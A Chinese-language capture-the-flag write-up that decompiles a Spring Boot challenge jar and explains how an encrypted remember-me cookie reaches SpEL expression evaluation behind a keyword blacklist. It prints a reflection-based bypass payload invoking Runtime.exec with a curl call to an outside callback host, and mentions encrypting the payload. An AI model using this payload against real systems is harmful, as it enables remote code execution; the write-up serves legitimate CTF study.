源代码:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar
解题步骤
将下载下来的jar包放到jd-gui中,查看源代码。

源码分析
META-INF文件夹中放的是:目录中的文件和目录获得Java 2平台的认可与解释,用来配置应用程序、扩展程序、类加载器和服务manifest.mf(包含了jar文件的内容描述,在应用程序运行时向JVM提供应用程序的信息)文件,在用jar打包时自动生成org.springframework.boot.loader提供一系列的依赖包BOOT-INF/templates里面是前端界面application.yml这个文件是一个黑名单,一个用户账号密码及Remember me这个功能用到的key。
SmallEvaluationContext继承StandardEvaluationContext,相当于一个容器。ChallengeApplication用于启动Encryptor是Remember me这个功能用到的加密解密工具。KeyworkProperties对前面提到的黑名单的调用UserConfig用户模型,在RemberMe时使用了Encryptor
MainController主要分析一下
login()判断用户名密码,如果勾选了remberMe,浏览器存入加密后的cookie。
然后跳转到hello.html1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16@PostMapping({"/login"})
public String login(@RequestParam(value="username", required=true) String username, @RequestParam(value="password", required=true) String password, @RequestParam(value="remember-me", required=false) String isRemember, HttpSession session, HttpServletResponse response)
{
if ((this.userConfig.getUsername().contentEquals(username)) && (this.userConfig.getPassword().contentEquals(password)))
{
session.setAttribute("username", username);
if ((isRemember != null) && (!isRemember.equals("")))
{
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}
return "redirect:/";
}
return "redirect:/login-error";
}

admin()对跳转之后的cookie做处理,判断rememberMeValue存在后,直接对其进行解密。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17@GetMapping
public String admin(@CookieValue(value="remember-me", required=false) String rememberMeValue, HttpSession session, Model model)
{
if ((rememberMeValue != null) && (!rememberMeValue.equals("")))
{
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}
Object username = session.getAttribute("username");
if ((username == null) || (username.toString().equals(""))) {
return "redirect:/login";
}
model.addAttribute("name", getAdvanceValue(username.toString()));
return "hello";
}
解密之后跟黑名单做比较,如果匹配成功则抛出HttpStatus.FORBIDDEN,如果没有匹配到则进行正常流程,在SmallEvaluationContext文件中进行SpEL表达式解析,关于SPEL表达式注入可以参考这篇文章。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15private String getAdvanceValue(String val)
  {
    for (String keyword : this.keyworkProperties.getBlacklist())
    {
      Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
      if (matcher.find()) {
        throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
      }
    }
    Object parserContext = new TemplateParserContext();
    Expression exp = this.parser.parseExpression(val, (ParserContext)parserContext);
    SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
    return exp.getValue(evaluationContext).toString();
  }
}
因为使用了黑名单,可以使用字符串拼接+反射来构造一条pop链来绕过
1
String.class.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('exec',String.class).invoke(String.class.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(String.class.getClass().forName('java.la'+'ng.Ru'+'ntime')),'curl http://xxxxx.ceye.io');
因为
RememberMe这个功能得到的数据需要是spel格式且加密过的,所以payload需要加密一下。
加密脚本
- 还需导入这几个jar包(将题目给的Jar包解压,在lib目录下)

 
1  | import javax.crypto.spec.IvParameterSpec;  | 
- 读取根目录文件

 

- 查看flag


 
